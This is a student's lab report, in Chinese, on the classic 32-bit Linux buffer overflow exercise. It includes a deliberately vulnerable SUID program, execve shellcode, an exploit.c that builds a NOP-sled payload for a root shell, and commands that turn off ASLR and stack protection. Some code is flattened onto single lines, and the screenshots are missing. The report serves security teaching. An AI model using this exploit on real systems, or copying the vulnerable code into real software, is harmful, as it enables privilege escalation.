實驗一——緩沖區溢出漏洞實驗

                                                                                                 Linux實驗一 —— 緩沖區溢出漏洞實驗

                                                                                   20122137

一、實驗描述

緩沖區溢出是指程序試圖向緩沖區寫入超出預分配固定長度數據的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制，甚至執行代碼的任意片段。這一漏洞的出現是由於數據緩沖器和返回地址的暫時關閉，溢出會引起返回地址被重寫。

 

二、實驗准備

系統用戶名shiyanlou，密碼shiyanlou

實驗樓提供的是64位Ubuntu linux，而本次實驗為了方便觀察匯編語句，我們需要在32位環境下作操作，因此實驗之前需要做一些准備。

1、輸入命令安裝一些用於編譯32位C程序的東西：

sudo apt-get update
 sudo apt-get install lib32z1 libc6-dev-i386
 sudo apt-get install lib32readline-gplv2-dev


 

2、輸入命令“linux32”進入32位linux環境。此時你會發現，命令行用起來沒那么爽了，比如不能tab補全了，所以輸入“/bin/bash”使用bash：

 

三、實驗步驟

1.練習一

按照實驗步驟進行操作，攻擊漏洞程序並獲得root權限。

1.1 初始設置

Ubuntu和其他一些Linux系統中，使用地址空間隨機化來隨機堆（heap）和棧（stack）的初始地址，這使得猜測准確的內存地址變得十分困難，而猜測內存地址是緩沖區溢出攻擊的關鍵。因此本次實驗中，我們使用以下命令關閉這一功能：

sudo sysctl -w kernel.randomize_va_space=0

 

此外，為了進一步防范緩沖區溢出攻擊及其它利用shell程序的攻擊，許多shell程序在被調用時自動放棄它們的特權。因此，即使你能欺騙一個Set-UID程序調用一個shell，也不能在這個shell中保持root權限，這個防護措施在/bin/bash中實現。

linux系統中，/bin/sh實際是指向/bin/bash或/bin/dash的一個符號鏈接。為了重現這一防護措施被實現之前的情形，我們使用另一個shell程序（zsh）代替/bin/bash。下面的指令描述了如何設置zsh程序：

sudo su

cd /bin rm sh ln -s zsh sh exit

 

1.2 shellcode

一般情況下，緩沖區溢出會造成程序崩潰，在程序中，溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址，那么程序就會跳轉到該地址，如果該地址存放的是一段精心設計的代碼用於實現其他功能，這段代碼就是shellcode。

觀察以下代碼：

#include <stdio.h> int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); } 

本次實驗的shellcode，就是剛才代碼的匯編版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 

1.3 漏洞程序

把以下代碼保存為“stack.c”文件，保存到 /tmp 目錄下。代碼如下：

/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }

 

通過代碼可以知道，程序會讀取一個名為“badfile”的文件，並將文件內容裝入“buffer”。

編譯該程序，並設置SET-UID。命令如下：

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit 

GCC編譯器有一種棧保護機制來阻止緩沖區溢出，所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。

而 -z execstack 用於允許執行棧。

1.4 攻擊程序

我們的目的是攻擊剛才的漏洞程序，並通過攻擊獲得root權限。

把以下代碼保存為“exploit.c”文件，保存到 /tmp 目錄下。代碼如下：

/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); } 

注意上面的代碼，“\x??\x??\x??\x??”處需要添上shellcode保存在內存中的地址，因為發生溢出后這個位置剛好可以覆蓋返回地址。

而 strcpy(buffer+100,shellcode); 這一句又告訴我們，shellcode保存在 buffer+100 的位置。

現在我們要得到shellcode在內存中的地址，輸入命令：

gdb stack disass main
結果如圖：

接下來的操作：

 

根據語句 strcpy(buffer+100,shellcode); 我們計算shellcode的地址為 0xffffd1b0(十六進制)+100(十進制)=0xffffd214(十六進制)

現在修改exploit.c文件！將 \x??\x??\x??\x?? 修改為 \x14\xd2\xff\xff

然后，編譯exploit.c程序：

gcc -m32 -o exploit exploit.c 

1.5 攻擊結果

先運行攻擊程序exploit，再運行漏洞程序stack，觀察結果：

 

可見，通過攻擊，獲得了root權限！

 

2.練習二

 

通過命令”sudo sysctl -w kernel.randomize_va_space=2“打開系統的地址空間隨機化機制，重復用exploit程序攻擊stack程序，觀察能否攻擊成功，能否獲得root權限。

（實驗二未成功截圖，由於錯誤操作，無法從練習三返回練習二的實驗結果）

 

3.練習三

 

將/bin/sh重新指向/bin/bash（或/bin/dash），觀察能否攻擊成功，能否獲得root權限。

 

四、實驗總結

1.（遇到的問題）實驗時出現sudo：無法解析主機，但后來百度查詢后，發現這個是因為主機名稱的問題，並不影響實驗，就沒有對其進行修改。另外，由於網速的問題，有些命令行可能會重復或者出錯，尤其在需要輸入密碼的程序段之后。

2.許多shell程序在被調用時自動放棄它們的特權。因此，即使你能欺騙一個Set-UID程序調用一個shell，也不能在這個shell中保持root權限。

3.操作系統所使用的緩沖區 是"堆棧".，在各個操作進程之間,指令會被臨時儲存在"堆棧"當中,"堆棧"也會出現緩沖區溢出 。緩沖區溢出通過往程序的緩沖區寫超出其長度的內容，造成緩沖區的溢出，從而破壞程序的堆棧，使程序轉而執行其它指令，以達到攻擊的目的。

4.在練習二中，由於地址空間隨機化被開啟，導致之前計算的地址與實際的地址出現了不同，從而不能完成攻擊。而練習三中，使用的bash程序，當shell運行時，沒有root權限，此時，即便攻擊程序攻擊了漏洞程序，也無法完成攻擊。

5.通過本次實驗，我了解了一些關於緩沖區溢出的保護機制以及緩沖區安全的重要性，明白了堆棧地址與權限的作用，堆棧初始地址的隨機化和放棄root權限對於防止黑客利用緩存區溢出進行攻擊有非常重要的作用。